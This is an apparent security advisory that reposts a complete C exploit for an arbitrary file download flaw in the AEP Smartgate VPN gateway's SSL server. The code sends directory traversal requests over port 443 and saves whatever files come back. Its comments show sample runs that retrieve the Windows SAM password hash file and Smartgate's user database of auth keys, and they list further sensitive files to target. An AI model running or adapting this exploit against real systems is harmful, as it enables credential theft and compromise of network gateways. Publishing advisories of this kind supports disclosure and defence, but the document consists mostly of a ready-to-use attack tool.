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AEP Smartgate Arbitrary File Access (Exploit)
------------------------------------------------------------------------
SUMMARY
Smartgate is an application layer security gateway that meets FIPS 140-2
requirements for large-scale networked environments for IP-based Networks.
AEP provide network solutions for government, law enforcement, homeland
security, public safety, criminal intelligence and much more.
A vulnerability exists in the smartgate SSL server (listens on port 443 by
default) which may allow a malicious user to download arbitrary files with
the priviledges of the smartgate server.
DETAILS
Exploit:
/* prdelka-vs-AEP-smartgate
* ========================
* Smartgate is an application layer security gateway that meets FIPS
140-2
* requirements for large-scale networked environments for IP-based
Networks.
* AEP provide network solutions for government, law enforcement, homeland
security,
* public safety, criminal intelligence and much more.
*
* A vulnerability exists in the smartgate SSL server (listens on port 443
by default)
* which may allow a malicious user to download arbitrary files with the
priviledges
* of the smartgate server.
*
* By analyzing the returned HTTP header response, an attacker can also
test for the
* existance of a remote directory. Remote directories return a "Moved
Permanently"
* error, as opposed to a 404, as shown below.
*
* localhost 0day # ./prdelka-vs-AEP-smartgate -s www.target.com -p 443 -f
progra~1/v-one/smartgate/data -l sgusrdb.idx
* [ AEP/Smartgate arbitrary file download exploit
* [ Connected to www.target.com via (443/tcp)
* [ Displaying raw HTTP response details
* HTTP/1.0 301 Moved Permanently
* Date: Tue Nov 22 16:53:11 GMT+00:00 2005
* Location: /..\..\..\..\..\..\..\progra~1/v-one/smartgate/data/
* Server: SSLSERVER/1.0
* Content-Type: text/html
* Expires: Now
*
* [ Exploit success, directory found
*
* A number of files/directories on win32 installations of smartgate may
help the attacker further compromise
* the VPN. Under unix installations the default root directory of
smartgate is "/usr/smartgate" but may vary.
*
* + progra~1/v-one/smartgate - default directory for smartgate
installation.
* + data - default directory for data files.
* - adm-gw.acl - admin users are defined here.
* - reginfo.dat - defines data entry fields for users.
* - sgate.acl - access control for secured TCP services.
* - sgconf.ini - dynamic information on the smartgate
server including CA information.
* - sgusrdb.idx - contains userid status,long
name,group,auth key.
* - sweb.acl - provides access control to webserver.
* - sweb.dny - denies access to specified webservers.
* + winnt - common system root directory, varies.
* + repair - contains backup SAM file.
* - sam - backup of SAM file containing password
hashes.
* + system32 - common system32 directory, resides above
%sysroot%
* - kernel32.dll - detailed information of win32 version
installed.
*
* Example.
* Below is an example of exploit being used to retrieve the SAM password
file in a real world attack. This
* exploit is untested against unix implementations of smartgate but
should function as expected with little
* or no modification (char *http1). Tested against Smartgate V4.3B
*
* localhost 0day # gcc prdelka-vs-AEP-smartgate.c -o
prdelka-vs-AEP-smartgate -lssl
* localhost 0day # ./prdelka-vs-AEP-smartgate -s www.target.com -p 443 -f
winnt/repair/sam. -l sam
* [ AEP/Smartgate arbitrary file download exploit
* [ Connected to www.target.com via (443/tcp)
* [ Displaying raw HTTP response details
* HTTP/1.0 200 OK
* Date: Tue Nov 22 17:06:00 GMT+00:00 2005
* Content-type: text/plain
* Content-length: 20480
* Server: SSLSERVER/1.0
* Expires: Now
*
* [ Exploit success, file found
* [ Recieved 20480 byte(s) and saved as 'sam'
*
* - prdelka
*/
#include <openssl/ssl.h>
#include <openssl/bio.h>
#include <openssl/err.h>
#include <openssl/ssl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <getopt.h>
int main(int argc,char *argv[])
{
BIO * bio;
SSL * ssl;
SSL_CTX * ctx;
int p,c,fd,index = 0;
unsigned long size = 0;
int ihost = 0, iport = 0, ifile = 0, ilocal = 0, check = 0;
char *host,*request,*file,*connect,*port,*httpbuf,*httpbuf2;
char *http1 = "GET /..\\..\\..\\..\\..\\..\\..\\";
char *http2 = " HTTP/1.1\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A";
char r[1024];
static struct option options[]= {
{"server", 1, 0, 's'},
{"port", 1 , 0, 'p'},
{"remotefile", 1, 0, 'f'},
{"localfile", 1, 0, 'l'},
{"help", 0, 0, 'h'}
};
printf("[ AEP/Smartgate arbitrary file download exploit\n");
while(c != -1)
{
c = getopt_long(argc,argv,"s:p:f:l:h",options,&index);
switch(c){
case -1:
break;
case 's':
host = malloc(strlen(optarg) + 1);
sprintf(host,"%s",optarg);
ihost = 1;
break;
case 'p':
port = malloc(strlen(optarg) + 1);
sprintf(port,"%s",optarg);
iport = 1;
break;
case 'f':
request = malloc(strlen(optarg) + strlen(http1) + strlen(http2) +
1);
sprintf(request,"%s%s%s",http1,optarg,http2);
ifile = 1;
break;
case 'l':
file = malloc(strlen(optarg) + 1);
sprintf(file,"%s",optarg);
ilocal = 1;
break;
case 'h':
printf("[\n[ %s\n",argv[0]);
printf("[ --server|-s <dns/ip>\n");
printf("[ --port|-p <port>\n");
printf("[ --remotefile|-f <path/and/file>\n");
printf("[ --localfile|-l <localfile/to/saveas>\n");
printf("[\n[ For a more detailed explanation read the source\n");
exit(0);
break;
default:
break;
}
}
if(ihost != 1 || iport != 1 || ifile != 1 || ilocal != 1){
printf("[ Try %s --help\n",argv[0]);
exit(0);
}
ERR_load_BIO_strings();
SSL_load_error_strings();
OpenSSL_add_all_algorithms();
ctx = SSL_CTX_new(SSLv23_client_method());
bio = BIO_new_ssl_connect(ctx);
BIO_get_ssl(bio, & ssl);
SSL_set_mode(ssl, SSL_MODE_AUTO_RETRY);
connect = malloc(strlen(host) + strlen(port) + 2);
sprintf(connect,"%s:%s",host,port);
BIO_set_conn_hostname(bio, connect);
if(BIO_do_connect(bio) <= 0)
{
fprintf(stderr, "[ Error attempting to connect\n");
ERR_print_errors_fp(stderr);
BIO_free_all(bio);
SSL_CTX_free(ctx);
return 0;
}
printf("[ Connected to %s via (%s/tcp)\n",host,port);
BIO_write(bio, request, strlen(request));
check = 0;
httpbuf = malloc(2);
memset(httpbuf,0,2);
while(check == 0)
{
p = BIO_read(bio, r, 1);
r[p] = 0;
httpbuf2 = malloc(strlen(r) + strlen(httpbuf) + 1);
sprintf(httpbuf2,"%s%s",httpbuf,r);
free(httpbuf);
httpbuf = httpbuf2;
check = (int)strstr(httpbuf,"\n\n");
}
printf("[ Displaying raw HTTP response details\n");
printf("%s",httpbuf);
check = 0;
check = (int)strstr(httpbuf,"200 OK");
if(check != 0)
{
printf("[ Exploit success, file found\n");
fd = open(file,O_RDWR|O_CREAT,S_IRWXU);
if(fd == -1){
printf("[ Error creating %s",file);
exit(0);
}
for(;;)
{
p = BIO_read(bio, r, 1023);
if(p <= 0) break;
r[p] = 0;
write(fd,r,p);
size = size + p;
}
printf("[ Recieved %u byte(s) and saved as '%s'\n",size,file);
close(fd);
}
if(check==0)
{
check = (int)strstr(httpbuf,"301 Moved");
if(check != 0)
{
printf("[ Exploit success, directory found\n");
}
}
free(httpbuf);
if(check == 0)
{
printf("[ Exploit failed\n");
}
BIO_free_all(bio);
SSL_CTX_free(ctx);
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:wh1t3h4t3@yahoo.co.uk>
Micheal Turner.
The original article can be found at:
<https://prdelka.blackart.org.uk/exploitz/>
https://prdelka.blackart.org.uk/exploitz/
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